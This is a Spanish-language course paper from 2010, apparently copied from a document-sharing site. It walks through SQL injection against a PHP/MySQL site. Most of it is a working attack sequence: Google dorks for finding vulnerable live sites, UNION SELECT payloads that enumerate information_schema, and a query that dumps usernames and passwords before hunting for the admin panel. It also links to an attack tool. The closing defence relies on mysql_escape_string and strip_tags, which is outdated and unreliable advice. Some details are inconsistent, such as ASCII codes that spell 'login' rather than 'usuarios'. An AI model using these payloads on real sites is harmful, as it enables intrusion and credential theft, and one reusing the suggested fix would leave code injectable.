Está en la página 1de 10

Inyeccin SQL SQLi

Asignatura: Taller de Desarrollo Web


Gentileza: Xt3mP

Profesor: Jorge Corts Gallardo

LA SERENA NOVIEMBRE 2010

el siguiente paper contiene informacin con fines educacionales. . . la idea es acercar ms el tema de las Vulnerabilidades Web, respecto a SQLi y aclarar dudas sobre ellas . . . sin embargo, no me hago responsable por los actos y/o consecuencias que pueda ocasionar el entregar este tipo de informacin, ya que es parte importante para el desarrollo de nuestra Asignatura . . . Jorge Luis Alejandro Corts Gallardo

Nadie sabe lo que hace mientras acta correctamente, pero de lo que est mal uno siempre es consciente. Johann Wolfgang Goethe

TERMINOS IMPORTANTE: SQL: El lenguaje de consulta estructurado o SQL (por sus siglas en ingls structured query language) es un lenguaje declarativo de acceso a bases de datos relacionales que permite especificar diversos tipos de operaciones en stas.
Fuente: http://es.wikipedia.org/wiki/SQL

MySQL: MySQL es un sistema de gestin de base de datos relacional, multihilo y multiusuario con ms de seis millones de instalaciones.1 MySQL AB desde enero de 2008 una subsidiaria de Sun Microsystems y sta a su vez de Oracle Corporation desde abril de 2009 desarrolla MySQL como software libre en un esquema de licenciamiento dual.
Fuente: http://es.wikipedia.org/wiki/MySQL

SQLi(SQL Injection): Consiste en tratar de ocasionar un error en la base de datos alterando la peticin a esta mediante el cdigo PHP (En este caso) para poder explotar y mal usar (en su mayora) esta vulnerabilidad y sacar provecho del bug. Filtrar: En este mbito nos referiremos a filtrar al quitar cdigo que pudiese ser malicioso, en los campos casillas de texto para evitar posibles vulnerabilidades en nuestro sitio web. Dork: En este mbito nos referiremos a "dorks" a "frases palabras" que nos facilitarn las pginas vulnerables.

POR QU ES POSIBLE? Por la mala estructuracin del cdigo que hace la peticin a la base de datos por lo cual para explotarla le pondremos datos falsos por lo que el resultado sera un error y nos mostrara que es vulnerable. Suponiendo que nuestro cdigo es
<?php $noticia = $_GET['noticia']; mysql_query("SELECT * FROM noticias WHERE id='".$noticia."' ") ?>

Entonces al saber un poco de SQL sabemos en la manera que una peticin es enviada a la DB por lo que podremos explotarla, suponiendo que en id ponemos id=-1 and 2=2 la consulta sera: Cdigo: SELECT * from noticias where id=-1 and 2=2 Lo cual dara como resultado Verdadero (true) por que dos es igual a 2, en cambio qu pasa si ponemos datos falsos (false)? Algo como id=-1 and 2=1? La consulta dara false ya que dos no es igual a uno y la consulta sera Cdigo: SELECT * from noticias where id=-1 and 2=1 Union: Nos permite combinar varios valores con la ayuda del SELECT. SELECT: Nos permite seleccionar (como su nombre lo dice) valores de una tabla columna. group_concat(): Selecciona un grupo de columnas tablas para hacer una peticin mltiple. Dorks: La mayora de los DORKS actuales ya no son efectivos ya que la mayora ya los mal exploto lo que ocasion que nuestro buscador nos tir pginas que ya fueron hackeadas que ya est reparado el bug, pero a continuacin les dejar unos:

inurl:index.php?id= inurl:info_page.php?id= inurl:news.php?id= inurl:noticias.php?id= inurl:productos.php?id= inurl:details.php?id= inurl:cat.php?id= inurl:show.php?id= inurl:detalles.php?id= inurl:article.php?id= ETC San google nos ayuda jajajajajaj

Ustedes pueden ir variando el nombre del archivo PHP y la variable del mtodo GET para ir buscando posibles pginas vulnerables. PRACTICA En esta ocasin utilizaremos una de prueba de su proyecto Web Perro Que ladra no muerde, como dije anteriormente lo ms probable que de una vulnerabilidad de SQL ya que al tratar de ocasionar el error nos da un true. COMO SABER SI EL SITIO ES VULNERABLE Para ver que si dicha web es vulnerable comenzaremos a tratar de ocasionar un error, Pero cmo?, fcil, lo que har la sentencia es que en el cdigo PHP estar un $_GET['id'] que en este caso tomara el valor que le demos al id despus del signo =, as que al nosotros poner cualquier carcter raro o ningn nmero en especfico nos votar el error. Pgina normal: http://localhost/proyecto/index.php?id=96 Pgina con error: http://localhost/proyecto/index.php?id=96 Pgina con error: http://localhost/proyecto/index.php?id=

En donde el error lo puedes ocasionar sin poner nada despus del "=" con " ' y " ". Nos mostrar un error con lo siguiente: Cdigo: Failed to get advertisement! MySQL error :You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 PENCA!, es vulnerable ya que como mencion arriba al obtener el valor de "id" y al no tener ninguno, provocar un error de sintaxis. COMENZAR ATACAR Ya que tengamos detectado que es vulnerable ( http://localhost/proyecto/index.php?id=96) procederemos a buscar el nmero de columnas agregando el cdigo: -1+union+select+1 en donde -1 es cualquier valor y en donde +1 sera la primer columna. Si todo sale bien: http://localhost/proyecto/index.php?id=-1+union+select+1-- nos deber votar el siguiente error: Cdigo: Failed to get advertisement! MySQL error: The used SELECT statements have a different number of columns

Lo cual nos indica que tiene ms que una columna por lo tanto iremos agregando columnas (,2,3,4,5,...10) hasta que nos muestre algn resultado:
http://localhost/proyecto/index.php?id=-1+union+select+1 http://localhost/proyecto/index.php?id=-1+union+select+1,2 http://localhost/proyecto/index.php?id=-1+union+select+1,2,3 http://localhost/proyecto/index.php?id=-1+union+select+1,2,3,4

.. http://localhost/proyecto/index.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20

http://localhost/proyecto/index.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21

PENCA!, nos mostrar el nmero en letras pequeas el cul en este caso depender de su sitio Web. Como encontrar la tabla que nos interesa Supondremos que para este caso es la tabla 17, utilizarmos "table_name" y le harmos la peticin con: "+from+information_schema.tables--" lo cual nos mostrar
http://localhost/proyecto/index.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name,18,19,20 ,21+from+information_schema.tables--

Si todo sale bien, nos debera mostrar "CHARACTER_SETS", ahora buscaremos nuestra tabla literalmente en especfico (El nombre varia) que pueda contener datos claves como "administrador, clientes, mascota", lo haremos mediante +limit+1,1-- en donde +1 se va elevando para ir subiendo hasta encontrar la que contenga datos claves y se implementar en la URL de esta manera:
http://localhost/proyecto/index.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name,18,19,20 ,21+from+information_schema.tables+limit+1,1--

Al igual que las columnas, iremos subiendo de valor el "+1" hasta encontrar lo que anteriormente les dije:

http://localhost/proyecto/index.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name,18,19,20 ,21+from+information_schema.tables+limit+2,1--

http://localhost/proyecto/index.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name,18,19,20 ,21+from+information_schema.tables+limit+3,1--

http://localhost/proyecto/index.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name,18,19,20 ,21+from+information_schema.tables+limit+4,1--

Supondremos que para este caso es 4 nos arroja "usuarios" y como lo dice usuarios nos indica un ingreso al sistema, por lo tanto comenzaremos a explorar esa tabla. Para hacerlo ocuparemos 2 funciones ms que son "group_concat(column_name)" que nos mostrar todos los campos de la columna y "+where+table_name=char()--" en donde entre parntesis ira el nombre de la tabla convertido a ASCII, como en este caso es USUARIOS el valor sera: 108,111,103,105,110. Por lo que la inyeccin sera:
http://localhost/proyecto/index.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(column _name),18,19,20,21+from+information_schema.columns+where+table_name=char( 108,111,103,105,110)--

Con esto como lo mencion anteriormente, hacemos una peticin para que nos muestre los campos de la columna vulnerable, en este caso la 17 llamada USUARIOS; nos mostrara esto: id,usuario,password,nombre,estado.etc PENCA!, aqu a primera vista las ms importantes son usuario y contrasea, por lo tanto los exploraremos haciendo un concat e indicando de donde queremos sacar estos datos, lo haremos de la siguiente manera:

http://localhost/proyecto/index.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat(UserID,0x3a, Password),18,19,20,21+from+login

Con esto como lo mencion anteriormente, indicamos que muestre los campos usuario y password de la tabla usuarios y en donde 0x3a es igual a " : ", y si todo sale bien nos votar los datos del administrador, Ejemplo: admin:252525 ENCONTRAR EL PANEL DEL ADMINISTRADOR Esto realmente es lo ms difcil ya que ltimamente los paneles del administrador son muy difciles de encontrar aunque los ms cotidianos son /admin/ el cul es el panel del administrador de esta pgina, por lo tanto el link sera:
http://localhost/proyecto/admin/

Existen herramientas las cuales permiten realizar este tipo de bsquedas, buscar como Admin Path Finder, en san Google. Jajajajaja. SUGERENCIAS La primer sugerencia que les har concorde a esto es que evtense la pena (literalmente) de cometer una infraccin con la pgina web que expuse como ejemplo, ya que fue elegida al azar y no tiene ningn antecedente delictivo por el cul merezca ser hackeada. Sobre los campos de la tabla, si los campos aparecen en maysculas, pngalos en maysculas, si salen en minsculas pngalos en minsculas. A veces el error no lo muestra as que les recomiendo poner -1+union+select+1 y si nos da el error de que tiene diferentes columnas a la peticin que pusimos obviamente es vulnerable. Ver tambin SQLi Helper

http://ddlr.servepics.com/rd.php?go=http://www.megaupload.com/?d=5NSR1DA4

LO MAS IMPORTANTE QUE DEBEN SABER USTEDES COMO EVITAR SQLi Muchos saben hacer SQL Injection pero no saben evitarla, as que esto les servir. Como mencion a lo largo de este paper una inyeccin SQL es llevada a cabo por la forma en que est realizando la Consulta Sql o la peticin a la base de datos, un ejemplo es:
<?php $noticia = $_GET['id']; // $_REQUEST['id']; $views = mysql_query("SELECT noticia FROM noticias WHERE noticia='".$noticia."' "); ?>

Por lo tanto para hacerlo ms seguro utilizamos la funcin "mysql_escape_string" y quedara as:
<?php $noticia = $_GET['id']; // $_REQUEST['id']; $views = mysql_query("SELECT noticia FROM noticias WHERE noticia='".mysql_escape_string($noticia)."' "); ?>

Tambin podemos agregar un strip_tags(); stripslashes(); para eliminar etiquetas que puedan hacer vulnerable nuestra peticin.
<?php $noticia = $_GET['id']; // $_REQUEST['id']; $noticia = strip_tags($noticia); $noticia = stripslashes($noticia); $views = mysql_query("SELECT noticia FROM noticias WHERE noticia='".mysql_escape_string($noticia)."' "); ?>

También podría gustarte